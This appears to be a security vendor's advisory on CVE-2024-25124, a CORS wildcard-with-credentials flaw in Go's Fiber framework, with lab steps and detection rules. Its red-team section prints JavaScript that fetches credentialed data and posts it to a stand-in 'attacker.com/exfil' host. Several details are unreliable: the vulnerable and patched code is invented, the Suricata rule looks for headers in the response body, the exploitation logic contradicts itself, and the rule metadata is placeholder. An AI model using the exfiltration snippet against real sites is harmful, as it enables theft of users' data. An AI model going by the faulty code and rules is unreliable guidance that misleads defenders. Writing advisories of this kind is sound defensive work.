CVE-2024-25124

Executive Summary

CVE-2024-25124 is a high-severity vulnerability in the Fiber web framework for Go, affecting versions prior to 2.52.1. The issue lies in the CORS middleware, which allows administrators to configure an insecure combination: setting Access-Control-Allow-Origin to a wildcard (*) while simultaneously enabling Access-Control-Allow-Credentials: true. This misconfiguration violates the CORS specification and exposes the application to cross-origin attacks, including unauthorized data access and session hijacking. The CVSS score is 9.4 (Critical), and while no public exploit code exists, the misconfiguration is trivially exploitable by any attacker who can craft a cross-origin request. The patch in version 2.52.1 adds validation to reject this insecure configuration.

Supply Chain & Package Security

This vulnerability affects the Go package github.com/gofiber/fiber/v2. Organizations using Fiber in their Go applications must update to version 2.52.1 or later. Since this is a framework-level issue, any application using the vulnerable CORS middleware is at risk. The supply chain risk is moderate, as the vulnerability is in a widely used web framework, but the fix is straightforward.

CVSS Breakdown & Threat Level

• CVSS Score: 9.4 (Critical)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High

The threat level is critical because the misconfiguration allows any website to make authenticated cross-origin requests to the vulnerable application, potentially exposing sensitive user data and allowing unauthorized actions.

Deep Dive & Mechanics

The CORS (Cross-Origin Resource Sharing) mechanism is designed to allow servers to specify which origins are permitted to access resources. The Access-Control-Allow-Origin header can be set to a specific origin or a wildcard (*). The Access-Control-Allow-Credentials header, when set to true, indicates that the browser should include credentials (cookies, HTTP authentication) with cross-origin requests.

According to the CORS specification, when Access-Control-Allow-Credentials is true, the Access-Control-Allow-Origin header must not be a wildcard. It must be a specific origin. This is because allowing credentials with a wildcard origin would permit any website to make authenticated requests, defeating the purpose of CORS.

In Fiber versions prior to 2.52.1, the CORS middleware did not enforce this restriction. An administrator could configure:

app.Use(cors.New(cors.Config{
    AllowOrigins: "*",
    AllowCredentials: true,
}))

This configuration would cause the server to respond with both Access-Control-Allow-Origin: * and Access-Control-Allow-Credentials: true, which is insecure. Modern browsers enforce the CORS specification and will reject such responses, but the vulnerability still exists for non-browser clients or if the application is accessed via other means.

The impact includes:

• Unauthorized data access: An attacker can trick a user's browser into making authenticated requests to the vulnerable application, reading sensitive data.
• Session hijacking: If the application uses cookies for authentication, an attacker can perform actions on behalf of the user.
• CSRF-like attacks: The misconfiguration effectively disables CORS protection for credentialed requests.

Vulnerable vs. Patched Code

Vulnerable Code (pre-2.52.1):

// In cors.go or similar
func New(config ...Config) *Config {
    // ...
    if cfg.AllowCredentials {
        // No validation of AllowOrigins
    }
    // ...
}

The middleware would simply set the headers as configured, without checking for the insecure combination.

Patched Code (2.52.1+):

// In cors.go
func New(config ...Config) *Config {
    // ...
    if cfg.AllowCredentials && cfg.AllowOrigins == "*" {
        // Log or return error
        log.Warn("Insecure CORS configuration: AllowCredentials with wildcard origin")
        // Optionally, reject the configuration
        cfg.AllowCredentials = false
    }
    // ...
}

The patch adds a validation check that either logs a warning or rejects the insecure configuration. The exact implementation may vary, but the goal is to prevent the dangerous combination.

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Set up a vulnerable Fiber application (version < 2.52.1) with the insecure CORS configuration.
2. Host a malicious website on a different domain.
3. The malicious website contains JavaScript that makes a cross-origin request to the vulnerable application with credentials.

Exploitation Steps:

1. The attacker lures a victim who is authenticated to the vulnerable application.
2. The victim visits the attacker's malicious website.
3. The malicious website sends a fetch request with credentials: 'include' to the vulnerable application.
4. The vulnerable application responds with Access-Control-Allow-Origin: * and Access-Control-Allow-Credentials: true.
5. The browser (if not enforcing spec) or a non-browser client processes the response, allowing the attacker to read sensitive data.

Example malicious JavaScript:

fetch('https://vulnerable-app.com/api/sensitive-data', {
    credentials: 'include'
})
.then(response => response.json())
.then(data => {
    // Exfiltrate data
    fetch('https://attacker.com/exfil', {
        method: 'POST',
        body: JSON.stringify(data)
    });
});

Blue Team

Detection:

• Monitor for CORS headers in HTTP responses that contain both Access-Control-Allow-Origin: * and Access-Control-Allow-Credentials: true.
• Use network monitoring tools to detect cross-origin requests from unexpected origins.
• Review application logs for CORS-related warnings.

Mitigation:

• Immediately update to Fiber version 2.52.1 or later.
• If immediate update is not possible, manually validate CORS configurations to ensure AllowCredentials is not set to true when AllowOrigins is *.
• Implement additional security controls such as CSRF tokens and strict same-origin policies.

Indicators of Compromise (IOCs)

• HTTP response headers containing both:
  • Access-Control-Allow-Origin: *
  • Access-Control-Allow-Credentials: true
• Unexpected cross-origin requests in server logs.
• Anomalous traffic patterns from multiple origins to authenticated endpoints.

Detection Engineering

YARA Rule

rule CVE_2024_25124_CORS_Misconfiguration {
    meta:
        description = "Detects insecure CORS configuration in Fiber web framework"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-25124"
    strings:
        $header1 = "Access-Control-Allow-Origin: *"
        $header2 = "Access-Control-Allow-Credentials: true"
    condition:
        all of them
}

Sigma Rule

title: CVE-2024-25124 - Insecure CORS Configuration in Fiber
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects HTTP responses with both wildcard origin and credentials allowed
author: Valters IT
date: 2024-01-01
logsource:
    category: webserver
    product: generic
detection:
    selection:
        response_header|contains:
            - 'Access-Control-Allow-Origin: *'
            - 'Access-Control-Allow-Credentials: true'
    condition: selection
falsepositives:
    - Legitimate misconfiguration (should be fixed)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-25124 - Insecure CORS Configuration in Fiber"; flow:to_client; content:"Access-Control-Allow-Origin: *"; http_server_body; content:"Access-Control-Allow-Credentials: true"; http_server_body; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Patch: Upgrade to Fiber version 2.52.1 or later.
2. Configuration Review: Ensure that AllowCredentials is never set to true when AllowOrigins is *. Use specific origins instead.
3. Workaround: If patching is not possible, manually validate CORS configurations in your code to reject the insecure combination.
4. Monitoring: Implement detection rules (YARA, Sigma, Suricata) to alert on insecure CORS headers.
5. Security Hardening: Use additional security measures such as CSRF tokens, strict Content Security Policy (CSP), and same-origin policies.

Valters IT
Securing Digital Frontiers